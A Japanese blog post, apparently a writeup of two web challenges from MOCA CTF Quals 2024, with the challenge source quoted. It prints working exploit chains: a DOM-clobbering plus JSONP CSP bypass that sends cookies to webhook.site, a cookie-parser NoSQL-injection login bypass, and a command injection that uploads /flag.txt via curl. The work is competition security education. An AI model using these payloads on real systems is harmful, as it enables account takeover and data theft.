st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

MOCA CTF Quals 2024 writeup

7/20 - 7/21という日程で開催された。BunkyoWesternsで参加して1位🎉 上位5チームはいくらかの旅費支援付き*1で、イタリアはピネート*2で9月に開催される決勝大会へ招待されるらしい。ハッカーの集まるキャンプだとか、テントのスペースが提供される(ただし、場所だけでテントは提供されない)とかいった記述が見え、これが一般名詞としてのセキュリティキャンプかと思う。

今回使われていたプラットフォームは若干使いづらかったものの、問題自体は、少なくとも私がチェックしていたRAAS, METAION, MOCA-WEATHERに関しては面白かった。Gluglu Documentsというブラックボックス問は、我々は非想定と思われる解法で解けたものの、想定されていたと思われる流れはエスパーに見えあまり好みでない。使うテクニックは面白そうだが。

リンク:


[Web 400] METAION (5 solves)

Can you exit the maze?

To solve this challenge you will need to know the domain: f1b9224a5addd56a2b9c24224f66c48b6a93d5a1 PORT: 5000

添付ファイル: metaion.zip

問題サーバは全チーム共有ではなく、各チームで隔離されたインスタンスを利用できるようになっていた。贅沢だ。とりあえず、与えられたソースコードを使ってローカルでサービスを立ち上げる。トップページは次の通りで、LaTeXでメモを書けるアプリだという。

サーバ側のソースコードを見ていく。/render でおそらくメモの描画が行われるのだろうが、クエリパラメータから与えられた数式を描画する前に、サーバ側でDOMPurifyを使いヤバそうな要素や属性を削除している。ALLOWED_TAGS オプションが指定されており、ap しか使えないことがわかる。

ほか、/report というAPIもあるけれども、その処理を見るにadmin botへURLを報告するためのものなのだろうと考える。https:// もしくは http:// から始まっているかチェックされており、どんなドメイン名でもアクセスしてくれるが、javascript: のような別のスキームは使えないとわかる。

const express = require('express')
const path = require('path');
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const app = express()
const port = 5000

app.set('view engine', 'ejs');

app.use(function(req, res, next) {
    res.setHeader("Content-Security-Policy", "script-src 'unsafe-inline' https://khm0.googleapis.com/ https://cdn.jsdelivr.net/npm/marked@4.0.12/marked.min.js https://cdn.jsdelivr.net/npm/texme@1.2.2 https://cdn.jsdelivr.net/npm/mathjax@3.2.0/es5/tex-mml-chtml.js")
    res.setHeader("X-Frame-Options","DENY")
    next();
});

app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, '/static/index.html'));
})

app.get('/euler', (req, res) => {
    res.sendFile(path.join(__dirname, '/static/euler.html'));
})

app.get('/render', (req, res) => {
    if(typeof req.query.formula === "string"){
        const window = new JSDOM('').window;
        const DOMPurify = createDOMPurify(window);
        const clean = DOMPurify.sanitize(req.query.formula,{ALLOWED_TAGS: ['a','p']});
        res.setHeader("Content-Type","text/html; charset=utf-8")
        res.render('../static/render',{formula: clean});
    }else{
        res.sendFile(path.join(__dirname, '/static/error.html'));
    }
})

app.get('/report', (req, res) => {
    const url = req.query.url
    if(typeof url === "string" && (url.startsWith("https://") || url.startsWith("http://"))){
        fetch("http://metaion-admin:3000/report_to_admin", {
            "method":"POST",
            "headers":{
                "Content-Type":"application/json"
            },
            body:JSON.stringify({
                "url": url
            })
        }).then(e=>console.log(e.text))
        res.json({"message":"url reported"})
    }else{
        res.sendFile(path.join(__dirname, '/static/error.html'));
    }
})

app.listen(port, () => {
  console.log(`Metaion listening on port ${port}`)
})

/report から叩かれている metaion-admin のコードは次の通り。metaion-backend、つまり先ほどのJSコードが動いているコンテナを対象にフラグを含んだCookieを設定し、ユーザから与えられたURLにアクセスしていることがわかる。

const express = require('express');
const puppeteer = require('puppeteer');

const app = express();
app.use(express.json());
const port = 3000;


app.post('/report_to_admin', async (req, res) => {
    try {
        const url = req.body.url
        console.log(url)
        // Launch Puppeteer
        const browser = await puppeteer.launch({
            headless: true,
            args: ['--no-sandbox']
        }
        );
        const page = await browser.newPage();
        // Visit Backend
        const flag_cookie = {
            name: 'flag',
            value: process.env.FLAG,
            path:'/',
            domain: 'metaion-backend', // Adjust this to match the domain
            httpOnly: false,
            secure: false,
            sameSite: 'Strict'
          };
        await page.setCookie(flag_cookie)
        await page.goto(url);
        await new Promise(r => setTimeout(r, 1500));
        await browser.close();
        res.status(201).send('Done');
    } catch (error) {
        console.error('Error', error);
        res.status(500).send('Something went wrong');
    }
});

app.listen(port, () => {
    console.log(`Admin is running at http://localhost:${port}`);
});

さて、数式を描画してくれる /render だけれども、このHTMLは次の通り。texmeというライブラリを使って描画するらしい。ただJSのライブラリを読み込んでいるだけに見えるけれども、texmeは読み込むだけで数式をいい感じに描画してくれるようだ。

<html>
    <head>
        <script src="https://cdn.jsdelivr.net/npm/texme@1.2.2"></script>
    </head>
    <body>
        <textarea>
# Welcome to this fancy site

You can view, **math notes** using latex!
        
# How can i do such thing?

It's easy you can just navigate through the site

# Is this a crypto challenge?

Fortunately for you **absolutely not**
        </textarea>
    </body>
</html>

たとえば、/render?formula=$$1%2b1=みそスープ$$ で次のように描画される。

さて、DOMPurifyで色々潰されている中で、/render でXSSはできるだろうか。ap という要素は使えること、そしてtexmeという便利なライブラリが使われていることに着目する。DOMPurifyを通しているとはいえ、texmeが数式を描画するのはその後だから、texme側に脆弱性等があればこのサニタイズは無駄になる。たとえばDOM Clobberingのようなことはでき、またできたとしてtexmeにおいてそれは有効だろうか。

まず、DOM Clobberingは容易にできる。/render?formula=<a%20id=a><a%20id=a%20name=b%20href=//example.com>a</a></a> のように a 要素を使うことで、この例では a.b にアクセスすると内側の a 要素が返ってくるし、また toString するとその href 属性(//example.com)が返ってくる

では、このDOM Clobberingはどう活用できるか。texmeのソースコードを読むと、このライブラリが読み込まれた際に window.texme から各種オプションを読み込んでいることがわかる。オプションには色々あるけれども、中でも markdownURLMathJaxURL はそれぞれMarkdownやTeXの描画に使われるライブラリのURLを指定するものであり、これらを書き換えることで、我々攻撃者がホストするJSコードを読み込ませることができるのではないかと考える。

試しに /render?formula=%3Ca%20id=texme%3E%3Ca%20id=texme%20name=markdownURL%20href=%22//example.com%22%3Ehoge%3C/a%3E%3C/a%3EmarkdownURL として //example.com を設定してみる。すると、以下のようにCSPによって読み込みが弾かれたというエラーが発生した。なるほど、一応オプションの書き換えは成功しているらしい。

今回設定されているCSPは次の通り。この制限の範囲内で任意のJSコードを実行できるようにしたい。ほとんどの項目は細かくファイルが指定されているけれども、なぜか https://khm0.googleapis.com/ だけはオリジンで指定されているのが気になる。これはググった限りではGoogle Mapsに関連するものらしいが、なぜ指定されているのだろうか。

Content-Security-Policy: script-src 'unsafe-inline' https://khm0.googleapis.com/ https://cdn.jsdelivr.net/npm/marked@4.0.12/marked.min.js https://cdn.jsdelivr.net/npm/texme@1.2.2 https://cdn.jsdelivr.net/npm/mathjax@3.2.0/es5/tex-mml-chtml.js

khm0.googleapis.com で検索しても、別にこれはユーザがアップロードしたコンテンツがホストされるドメインではなさそうだし、特に有用なライブラリ等がここでホストされているわけでもなさそうだ。使い方としては /kh?v=203&x=0&y=0&z=0 のような謎のAPIを叩いているものしか見つからない。ここでなにかできないかと考え、JSONPでないかと疑った。

試しに &callback=alert(123), を付け足してみると、以下のようなレスポンスが返ってきた。JSONPのコールバックに使える関数名としては正しくないようだけれども、ちゃんと alert(123), を含んでおり、JSコードとして妥当なものが返ってきている。これは使えそうだ。

// API callback
alert(123),({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'alert(123),'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "status": "INVALID_ARGUMENT"
  }
}
);

/render?formula=<a%20id=texme><a%20id=texme%20name=markdownURL%20href="https://khm0.googleapis.com/kh?v=203%26x=0%26y=0%26z=0%26callback=alert(123),">hoge</a></a> にアクセスすると、alert が表示された。無事にCSPバイパスができたらしい。

あとはやるだけだ。立ち上げた問題サーバ上で次のようなJSコードを実行し、URLを通報する。これでフラグが得られた。

location.href = '/report?url=' + encodeURIComponent('http://f1b9224a5addd56a2b9c24224f66c48b6a93d5a1:5000/render?formula=%3Ca%20id=texme%3E%3Ca%20id=texme%20name=markdownURL%20href=%22https://khm0.googleapis.com/kh?v=203%26x=0%26y=0%26z=0%26callback=location.href=[`https://webhook.site/…?`,document.cookie],%22%3Ehoge%3C/a%3E%3C/a%3E')
PWNX{f8ec919918656b48a3efb64da4f9538537166992c400e4085706735e7eef413e}

[Web 450] MOCA-WEATHER (3 solves)

Have you ever wondered what the weather is like in Pescara?

PORT: 3000

添付ファイル: MOCA-weather.zip

このアプリについて

ユーザ登録を行うと、デバイスのホスト名、ユーザ名、ポート番号の情報を登録できるようになる。デバイスを登録するとランダムに生成されたSSHの公開鍵が表示されるけれども、これをデバイス側の .ssh/authorized_keys に登録してやることで、アプリが自動的にSSHでデバイスにログインし、1分ごとにCPUの温度、気温、湿度を取得してWebから確認できるようにしてくれるらしい。

node-cronで登録されているタスクは次の通り。まずSFTPで agent なる実行ファイルとデバイスの設定ファイル(JSON)を /tmp にアップロードした上で、次にSSHで接続して /tmp/agent を実行した結果を取得している。この /tmp/agent 中で気温や湿度等を取得しているのだろう。

const measure_task = async () => {
    const devices = await models.Device.find()

    console.log(`Measuring ${devices.length} devices`)

    devices.forEach(async device => {
        // Uploading agent and configuration
        const sftp = new SFTPClient();

        try {
            await sftp.connect({
                host: device.host,
                port: device.port,
                username: device.username,
                privateKey: device.privkey
            })

            // upload agent
            await sftp.put('/app/agent/agent', '/tmp/agent');
            await sftp.chmod('/tmp/agent', 0o777)

            // upload configuration
            const data = Buffer.from(JSON.stringify(device.configuration))
            await sftp.put(data, '/tmp/config.json');

            await sftp.end();
        }
        catch (err) {
            console.error(err.message);

            // if error occurs, remove the device and skip it
            await models.Device.deleteOne({ deviceId: device.deviceId });
            return;
        }

        console.log("Correctly uploaded agent and configuration")

        const conn = new SSHClient();

        conn.on('ready', () => {
            conn.exec('/tmp/agent', (err, stream) => {

                if (err) {
                    return;
                }

                stream.on('close', (code, signal) => {
                    conn.end();
                })
                    .on('data', async (data) => {
                        try {
                            const measurement = JSON.parse(data);

                            const record = await models.Measure.create({
                                deviceId: device.deviceId,
                                cpu_temperature: measurement.cpu_temperature,
                                temperature: measurement.temperature,
                                humidity: measurement.humidity
                            })
                        }
                        catch (err) {
                            console.error(err.message);
                        }
                    }).stderr.on('data', (data) => {
                        console.error('STDERR: ' + data);
                    });
            });
        }).connect({
            host: device.host,
            port: device.port,
            username: device.username,
            privateKey: device.privkey,
        });

    })

}

cron.schedule('* * * * *', measure_task);

ソースコードとともに添付されている Dockerfile によれば agent/agent にその実行ファイルがあるらしいけれども、なぜか添付されていない。このためにローカルではDockerイメージをビルドできていなかった。仕方がないので、適当にマシンを用意して問題サーバにデバイスとして登録し、/tmp/agent にアップロードされたものを見ることにする。

RUN mkdir agent
COPY agent/agent ./agent/agent

得られた agent は次のようなPythonスクリプトだった。config.json にCPU温度、気温、湿度をそれぞれ取得可能な実行ファイルへのパスが含まれており、これらを実行することで情報を取得しているらしい。

#!/usr/bin/env python3

import json
import subprocess

config = {}
default_values = {
    "cpu_temperature": 35.0,
    "temperature": 25.0,
    "humidity": 80.0
}

try:
    with open("/tmp/config.json", 'r') as f:
        config = json.load(f)
except Exception:
    config = default_values

if config == {}:
    config = default_values

measurement = {}
keys = ["cpu_temperature", "temperature", "humidity"]

for k in keys:
    cmd = config.get(k)
    measurement[k] = float(subprocess.check_output(cmd, shell=True).decode())

print(json.dumps(measurement))

ところで、フラグはどこにあるだろうか。docker-compose.yml を見てみると、Webサーバやそこから使われているMongoDBのほかに、device というサービスが存在していることがわかる。

  device:
    build: ./device
    restart: always
    environment:
      - USER_NAME=target
      - PUBLIC_KEY_FILE=/home/target/.ssh/authorized_keys
    volumes:
      - ./keys/id_rsa.pub:/home/target/.ssh/authorized_keys:ro

Dockerfile を見るに、この device がフラグを持っているらしい。

FROM linuxserver/openssh-server

RUN apk update && apk add python3

RUN useradd -ms /bin/bash target
COPY flag.txt /flag.txt

RUN chown root:root /flag.txt
RUN chmod 444 /flag.txt

COPY ./cpu_temp /usr/bin/cpu_temp
COPY ./humidity /usr/bin/humidity
COPY ./temp /usr/bin/temp
 
RUN chmod +x /usr/bin/cpu_temp /usr/bin/humidity /usr/bin/temp

MongoDBへの接続時にDBの初期化が行われているのだけれども、ここで device が監視対象のデバイスとして登録されている。device について configuration で設定されている各バイナリのパスを、なんとかしてフラグを外部に持ち出すOSコマンドに書き換えられないか。

// Connect to MongoDB
mongoose.connect(process.env.MONGO_URI, { useNewUrlParser: true, useUnifiedTopology: true })
    .then(async () => {
        console.log('MongoDB connected')

        // Create target user
        const user_count = await models.User.countDocuments();

        if (user_count === 0) {

            const pubkey = fs.readFileSync('keys/id_rsa.pub', 'utf-8');
            const privkey = fs.readFileSync('keys/id_rsa', 'utf-8');

            const user = await models.User.create({
                username: 'target',
                password: 'password'
            })

            // Add relative device
            const device = await models.Device.create({
                userId: user.userId,
                name: 'target',
                host: 'device',
                port: '2222',
                username: 'target',

                pubkey,
                privkey,

                configuration : {
                    cpu_temperature: '/usr/bin/cpu_temp',
                    temperature: '/usr/bin/temp',
                    humidity: '/usr/bin/humidity'
                }
            })

            const session = await models.Session.create({
                userId: user.userId,
            })

            console.log(`User ${user.userId} created`);
            console.log(`Device ${device.deviceId} created`);
            console.log(`Session ${session.sessionId} created`)
        }

    })
    .catch(err => console.error('MongoDB connection error:', err));

めちゃくちゃ悩んでいたところ、device を登録しているユーザについて、その作成後に、誰もログインしないはずのユーザなのにわざわざセッションを作成しているのが怪しいのではないかというアイデアがjptomoyaさんから出る。

            const user = await models.User.create({
                username: 'target',
                password: 'password'
            })
// …
            const session = await models.Session.create({
                userId: user.userId,
            })

たしかに怪しい。セッション周りは自前で実装されているけれども、セッションIDから対応するユーザIDを引っ張ってくるのは models.Session.findOne({ sessionId: req.cookies.session }) というようにMongoDBを叩いて行われている。ここで req.cookies.session に文字列でなく {"$ne": ""} というようなオブジェクトを入れて、NoSQL Injectionを引き起こすことはできないだろうか。

app.use((req, res, next) => {
    if (!req.cookies.session) {
        return res.redirect('/login');
    }

    models.Session.findOne({ sessionId: req.cookies.session })
        .then(session => {
            models.User.findOne({
                userId: session.userId
            }).then(user => {
                req.user = user;
                next();
            })
        })
        .catch(err => {
            res.redirect('/login');
        })
})

コードから、Cookieのパースにはcookie-parserが使われているとわかっている。req.cookies.session にオブジェクトを含ませることのできるような処理がないかコードを読んでいると、あったJSONCookie なる機能があり、Cookieの値として j: から始まる文字列を指定することで、3文字目以降をJSONとしてパースしたものをその値として入れてくれるらしい。cookie-parserにこんな機能があったとは知らなかった。

j:{"$ne":""} をCookieの session に入れてみる。これでセッションIDに対応するユーザIDの取得時に models.Session.findOne({ sessionId: {"$ne":""} }) というような処理が走るはずだ。やってみると、次のように target としてログインでき、またデバイスの target のIDも手に入れることができた。

$ curl -i http://…/devices -H 'Cookie: session=j:{"$ne":""}'
...
            <div
                class="backdrop-blur-sm bg-slate-800/85 shadow-md rounded-md px-4 pt-2 pb-4 my-4 mx-2 z-10 w-1/4 flex flex-col items-center justify-center">
                <h2 class="text-2xl font-semibold text-center w-full text-slate-100">
                    target
                </h2>
                <div class="border-b border-slate-300 w-full my-4"></div>
                <p class="text-lg text-center">
                <p>
                    Username: target
                </p>
                <p>
                    Host: 4117cef6922e337f29222521c3f8be0a3fd05272-internal-0
                </p>
                <p>
                    Port: 2222
                </p>
                <a class="inline-block align-baseline font-bold text-md text-secondary hover:text-primary"
                    href="/device/c1c1f954-dd2e-4244-b696-b560b74289fe">
                    View gathered data
                </a>
                </p>
            </div>
...

あとはやるだけだ。デバイスの設定を書き換えて、/flag.txt を適当な場所にアップロードするようなOSコマンドが実行されるようにする。

$ curl -i http://…/device/c1c1f954-dd2e-4244-b696-b560b74289fe/config -H 'Cookie: session=j:{"$ne":""}' -d "cpu_temperature=curl+https://webhook.site/…+-F+a=@/flag.txt"

しばらく待つと、指定した場所にフラグがアップロードされた。leetがきつくて読みづらいが、思いやりからこのアプリが作成されたことがわかった。みなさんも定期的な水分補給を心がけましょう。

PWNX{w347h3r_574710n_ju57_70_r3m1nd_y0u_70_574y_hydr473d_dur1n6_7h3_h077357_d4y5}

*1:1チームにつき200ユーロということで、日本からの参加であれば到底まかなえない

*2:どこ? と思ったがイタリア中部、ローマの北東らしい